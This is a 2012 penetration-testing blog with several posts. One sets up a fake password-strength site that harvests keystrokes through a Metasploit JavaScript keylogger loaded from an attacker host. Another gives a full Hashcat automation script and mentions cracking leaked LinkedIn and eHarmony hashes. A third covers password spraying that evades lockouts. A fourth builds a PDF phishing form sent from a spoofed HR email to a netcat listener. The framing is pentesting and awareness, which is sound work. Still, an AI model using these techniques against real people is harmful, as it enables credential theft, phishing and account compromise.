Friday, June 29, 2012

How Fast Can Your Password Be Cracked?

Instantly with a JavaScript keylogger.

Okay, so we aren't actually going to crack your password. In this brief tutorial, we show you how we can use the Metasploit JavaScript Keylogger auxiliary module in a penetration testing phishing campaign or user awareness training. First, we need a couple of items before we get some passwords.

  • A webserver (example below)
  • A webpage with a password form
  • JavaScript hook.
  • Metasploit

You could launch this attack via cross site scripting however, here we will use a page based on to lure a person to checking how strong their password is.

In the screenshot above we can see a couple of social engineering tricks at work. Key items to note are “help users”, “never sent” and the list of helpful tips. These items reinforce trust in the victim. Next the user will most likely test the password field to see how the website responds, and we have a fully functional password checking system. 

The site responds with approximately how long it would take to crack this password on a standard desktop PC without GPU cracking. But we don’t need to wait 5 million years or even 5 seconds. As you can see below each keystroke was captured by the keylogger. 

How did we do it?
Simple we used a seven line python webserver:
1:  import SimpleHTTPServer  
2:  import SocketServer  
4:  handler = SimpleHTTPServer.SimpleHTTPRequestHandler  
5:  httpd = SocketServer.TCPServer(('', 80), handler)  
6:  print "Server Started."  
7:  httpd.serve_forever()  

Now our victim can connect to our “helpful” website. Then we need a webpage to put our JavaScript keylogger into(find or make your own). Next we put the javascript in the source code of our html like so:<script type=”text/javascript” src=http://your_ip_or_hostname/anything.js”></script> .  
 Finally, we start the Metasploit auxiliary module.  The options in the module depend on your environment setup. 

That’s it! It’s your job to get the victim to the site.
This is intended for informational and/or educational purposes only; I am not responsible for your actions.

Friday, June 15, 2012

PATH v0.2 update

I got to use PATH during my analysis of the Linked-In and E-harmony hash leaks. I cracked over 2 million hashes on a light weight laptop. Using it in a real world scenario proved to me just how useful this script can be. While I might not have had the raw horse power of some the systems out there. I made up for it with efficiency. I sent the hashes into PATH with a top 200 flag set (-t 200). This meant once the initial output was complete PATH fed Hashcat 200 Hashcat masks based on frequency. This allowed me to just let it run, there was no downtime to check to see if the script had completed, where if it was running overnight would just start the next mask. Enjoy.

Change log:

  • Broke analyzing and cracking section into two separate functions.
  • Increased error handling.
  • Giving PATH just an input file now results in only an analysis being done on the file.
  • General code clean up.

Tuesday, June 5, 2012

PATH - Password Analysis To HashCat

What is PATH: It is a script that integrates password analysis and Hashcat.

First and foremost let me say, I do not code on a regular basis. I created this script out of necessity and part laziness on my part(I always forgot which masks I already did). DigiNinja’s Password analysis tool Pipal is what got me thinking about creating this.Thanks to @digininja. I found myself analyzing list with Pipal and taking the Hashcat masks from the output one by one back into Hashcat. From time to time my box would sit idle because I didn’t know the exact moment the bruteforce had completed and sometimes it sat idle for hours. I grew tired of waiting and restarting Hashcat so I automated it and PATH was born. PATH is written in Python and is simple to use with a few command line options.
PATH can take a list of passwords then generate Hashcat masks and display them. However, the fun part comes in when you apply the cracking option. This takes your list, analyzes it, generates the masks and starts the brute-force attack, with each mask sequentially.

You can also start with just a list of hashes and a large dictionary and the cracking option. PATH can take this list start a dictionary attack, analyze the output, generate the masks and start the brute-force attack. You can even specify rules, if you do it will run the plain dictionary first then run it again with the rule applied.

Here is the help file:
Password Analysis To Hashcat (PATH): Generate Hashcat Masks From A Wordlist
Start a BruteForce Attack With The Results
optional arguments:
-h, –help show this help message and exit
-i INPUT, –input: Input File Name for Mask Analysis
-t TOP, –top:How Many Values Outputted Default 10
-o OUTPUT, –output: Output File Name
-c, –crackmode: Enables Brute ForceCrack Mode
-s SDICT, –sdict: Initial Dictionary
-p PHASH, –phash: Password Hash Type
-l HASHLIST, –hashlist: List of Hashes
-r RULES, –rules: Apply Rules to Inital Dictionary
-u, –usage How to Use This Tool
Example usage:
python -s bigdict.txt -l hashes.txt -p 0 -o output.txt -c
python -i plain.txt -c

This script requires a minimum of Python 2.7 and HashcatPlus. As long as the switches in Hashcat stay the same it should continue to work fine as versions progress. *This was tested only with MD5, LM and NTLM hashes. You must define the location of HashcatPlus in the script prior to running it.

****Thanks to the Linkedin hack I was able to confirm PATH works with SHA1.****
If you have trouble copy and pasting the code below. Here is just the text.
1:  #!/usr/bin/env python  
2:  #PATH created by F8lerror  
3:  #Follow me on Twitter @f8lerror  
5:  import subprocess  
6:  import string  
7:  import re  
8:  from collections import Counter  
9:  import argparse  
12:  hcpath = ''  
14:  if hcpath is '':  
15:       print "\nHEY! You need to put the path to hashcat in the script. In the hcpath parameter"  
19:  parser = argparse.ArgumentParser(description='Password Analysis To Hashcat (PATH):\nGenerate Hashcat Masks From A Wordlist Start a BruteForce Attack With The Results')  
20:  parser.add_argument('-i','--input', help='Input File Name for Mask Analysis', required=False)  
21:  parser.add_argument('-t','--top', help='How Many Values Outputed Default 10', required=False)  
22:  parser.add_argument('-o','--output', help='Output File Name', required=False)  
23:  parser.add_argument('-c','--crackmode', action='store_true', help='Enables Brute ForceCrack Mode', required=False)  
24:  parser.add_argument('-s','--sdict', help='Initial Dictionary', required=False)  
25:  parser.add_argument('-p','--phash', help='Password Hash Type', required=False)  
26:  parser.add_argument('-l','--hashlist', help='List of Hashes', required=False)  
27:  parser.add_argument('-r','--rules', help='Apply Rules to Inital Dictionary', required=False)  
28:  parser.add_argument('-u','--usage', action='store_true', help='How to Use This Tool', required=False)  
31:  args = parser.parse_args()  
33:  if args.usage is True:  
34:       print '-'*80+'\n'  
35:       print 'This was designed to help automate the process of cracking passwords. \nBy analyzing the output of cracked password PATH initiates brute force with the results\n\n'  
36:       print 'Example: Already have some passwords cracked: \n\t\"./toolname -i listofcrackedpasswords -l listofhashes -o outputfile -p hashtype -c\" \n\tThis will analyze the list and start a brute force against the top 10 most common hash masks'  
37:       print '\nExample: Fresh list of hashes: \n\t\"./toolname -l listofhashes -o outputfile -p hashtype -s bigdictonary -c\" \n\t This attack will do a dictonary attack first, then using what was cracked\n\t by the dictonary analyze the output and perform a brute force against the top 10 most common hash masks'  
38:       print '\n\nTo use rules add the -r flag to the dictonary attack\n'  
39:       print 'This has only been tested with the following hash types:\n\t0 = MD5\n\t1000 = NTLM\n\t3000 = LM\n'  
42:  def cracker():  
43:       flist = []  
44:       for line in ifile:  
45:                 line2 = re.sub(dhash, '', line)  
46:                 res = []  
47:                 for letter in line2.rstrip():  
49:                      if, letter):  
50:                           res.append('?u')  
51:                      if, letter):  
52:                           res.append('?l')  
53:                      if, letter):  
54:                           res.append('?d')  
55:                      if, letter):  
56:                           res.append('?s')  
57:                 nlist = ''.join(res)   
58:                 flist.append(nlist)  
61:       flist1 = '\n'.join(flist)  
62:       cnt = Counter()  
63:       for zlist in flist:  
64:            cnt[zlist] += 1  
67:       backtolist = cnt.items()  
69:       sortme = sorted(backtolist, key=lambda tup: tup[1], reverse=True)  
70:       if sortme:       
71:            print '\n'  
72:            print '-'*80  
73:            print 'Top '+str(num)+' Hashcat Masks with Frequency Count'   
74:            print '-'*80  
75:            print '\n'  
76:            for key, value in sortme[0:num]:  
77:                 print key +' ('+ str(value) +')'  
78:            usedmask = []  
82:            if args.crackmode is True:  
83:                 if args.phash is None:  
84:                      print '\nOops! I need a hashtype. Hint: -p'  
85:                 elif args.output is None:  
86:                      print '\nOops! I need an output file. Hint: -o'  
87:                 elif args.hashlist is None:  
88:                      print '\nOops! I need something to crack. Hint: -l'  
89:                 else:  
90:                      for mask in sortme[0:num]:  
91:                           print '\n'  
92:                           print '-'*80  
93:                           print 'Now Brute Forcing With '+mask[0]  
94:                           print '-'*80  
95:                           print '\n'  
96:                 [hcpath, '--remove', '--hash-type', args.phash, '--attack-mode', '3', '--outfile', args.output, args.hashlist ,mask[0]])                 
100:  if is None:  
101:       num = 10  
102:  else:  
103:       num = int(  
105:  splist = r"[\W_]"  
106:  ualpha = r"[A-Z]"  
107:  lalpha = r"[a-z]"  
108:  ldigit = r"[0-9]"  
109:  dhash = r"^[a-f0-9]*:"  
113:  if args.sdict:  
114:       if args.rules:  
115:            print '\n'+'-'*80  
116:            print 'Starting Dictionary Attack'  
117:            print '-'*80+'\n'  
118:            if args.phash is None:  
119:                 print 'Oops! I need a hashtype. Hint: -p'  
120:            elif args.output is None:  
121:                 print 'Oops! We need an output file. Hint: -o'  
122:            elif args.hashlist is None:  
123:                 print 'Oops! I need something to crack. Hint: -l'  
124:            else:  
125:       [hcpath, '--remove', '--hash-type', args.phash, '--outfile', args.output, args.hashlist ,args.sdict])  
126:                 print '\n'+'-'*80  
127:                 print 'Starting Dictionary with Rule Attack'  
128:                 print '-'*80+'\n'  
129:       [hcpath, '--remove', '--hash-type', args.phash, '-r', args.rules, '--outfile', args.output, args.hashlist ,args.sdict])  
130:                 try:  
131:                      ifile = open(args.output, 'r')  
132:                      cracker()  
133:                 except IOError, err:  
134:                      print '\n'+'-'*80+'\n'+'The file doesn\'t exsist.\n'+'-'*80+'\n'  
135:       else:  
136:            print '\n'+'-'*80  
137:            print 'Starting Dictionary Attack'  
138:            print '-'*80+'\n'  
139:            if args.phash is None:  
140:                 print 'Oops! I need a hashtype. Hint: -p'  
141:            elif args.output is None:  
142:                 print 'Oops! We need an output file. Hint: -o'  
143:            elif args.hashlist is None:  
144:                 print 'Oops! I need something to crack. Hint: -l'  
145:            else:  
146:       [hcpath, '--remove', '--hash-type', args.phash, '--outfile', args.output, args.hashlist ,args.sdict])  
147:                 try:  
148:                      ifile = open(args.output, 'r')  
149:                      cracker()  
150:                      ifile.close()  
151:                 except IOError, err:  
152:                      print '\n'+'-'*80+'\n'+'The file doesn\'t exsist.\n'+'-'*80+'\n'  
154:  if args.input:  
155:       try:  
156:            ifile = open(args.input, 'r')  
157:            cracker()  
158:       except IOError, err:  
159:            print '\n'+'-'*80+'\n'+'The file doesn\'t exsist.\n'+'-'*80+'\n'  

Guessable Passwords the Unpatchable Exploit

During penetration assessments the pen tester attempts to compromise systems in an effort to penetrate into client networks. The pen tester tries various methods from exploiting web application vulnerabilities, network layer vulnerabilities, common misconfiguration and users.  But this is about what is more effective guessing passwords or exploits.

Currently the Exploit Database has 15,873 exploits. Is this all the exploits in the world? No, these are just many of them in one place that’s all. Even if we add another 14,478 to make an even 30,000 public exploits is that truly a large surface area when compared to the millions of systems on the Internet today.  If we pretend there are only 1 million systems on the Internet that is only 3 percent of systems that can be exploited.

In contrast, as of December 31, 2011 there are 2,267,233,742 users on the Internet according to We can even subtract a billion users for good measure and that is still over a billion users remaining. We use passwords in everything from corporate/personal email, Facebook, banking, taxes and anything else you can imagine.  How many of these users have weak or guessable passwords like password, 123456, Password1 or the real hard one to guess P@ssw0rd ;) .

The big problem lies in these same users make passwords for their corporate systems too and they put your corporation at risk. In data collected 2% of users select a base word of password and 12% use a base word of a season such as summer, winter, spring and fall. This was from a total user count of 38,148 and across multiple corporate industries not just random website breaches. In essence 5,340 users could be compromised with an attacker guessing passwords like Password1, Summer11, Winter12, and Fall2011. While these passwords conform to the term complex as defined by Microsoft, they are still weak. Many users take short cuts, this is because they feel they are not a target, not important, their access doesn’t matter, or even out of spite to the organization. Penetration testers know this and so do the attackers. in the screenshot above says some of these passwords are strong but this is rated strong because the amount of time it would take a computer to crack your password.  A standard desktop computer would take 10 days to crack “Fall2011” according to, and we wont even talk about how fast GPU cracking could crack this password.

How do attackers use this information? This type of attack is normally executed by using a username brute force. A username brute force tries one password such as Password1 across multiple usernames. This technique avoids lockouts and if run slowly enough it can go unnoticed by system administrators. Especially if executed against a web mail server, everyone has access to email. However, against a small user base this wouldn’t be very effective but attacking over a hundred users can prove to be very lucrative.  Once the attacker can access email which is generally controlled by Active Directory and depending on the systems available the possibilities are endless… VPN, Citrix, maybe remote desktop.

In closing use spaces, use symbols, use phrases changing your password from “Fall2011” to “I love fall!!”  makes it harder to guess and now takes 1 billion years to crack on a desktop PC.  Eventually pass phrases will have easily guessed phrases too but the clock is ticking.

PDF Pwnage

During many penetration tests the need to social engineer a target may be required. You could send targets all kinds of payloads or malicious things but sometimes that gets picked up by anti-virus. Also, sometimes getting ‘shell’ may not be in the rules of engagement.
Let’s talk about something that completely relies on the user being conned into following the attackers instructions. The scenario is simple send the user a PDF form and have them submit the form. The attack can be broken down into three main steps.
  1. Create the form
  2. Spoof an email
  3. Wait for the results
There are many ways to make this form, this is just how I did it.
First create a form and make it believable.
Word form
Next import it into Acrobat and select create PDF form.

Acrobat will do some magic and on the right hand side click add new field -> OK button. A blue box will show up and place it anywhere you want. This is your submit button. Click properties and on the options tab set the label to submit. Finally under the actions tab select the trigger to be mouse down. Select the action of Submit a form and click add and fill out the appropriate information.  ***If you are doing this over an insecure network use HTTPS please**

Save the document and then get ready to send it. In this example I would spoof it from an human resources person. Also if you don’t know how to spoof an email you shouldn’t even be reading this.
Finally, we fire up our listener this could be just netcat or write your own listener. Thanks @kaospunk for the quick and dirty POC.
Why will this attack be successful?
  • The victim will be more relaxed due to the spoofed email.
  • If the email is worded carefully using words like ‘we’, ‘help’ and ‘required’ these types of words cause psychological effects on people making them more apt to follow instructions.
  • No Anti-Virus will be triggered, which relaxes the user more.
  • The words in the document “Please, use the submit button to ensure secure delivery of your information.” Enforce the “trustworthiness’ of the message.
  • When a link is clicked in Adobe reader it always asks if the user wants to allow the connection. This inherently trains users to click allow without reading
  • It’s easy. Let’s face it users are lazy.
Here is the result of a successful test attack.

How could the user have protected themself?
  • Anytime a document requests sensitive information verify the source or sender.
  • If the requested action seems out of the ordinary verify the source or sender.
  • When the submit button is hit a warning pops up like the image below, verify the address the document is going to.

Good Luck!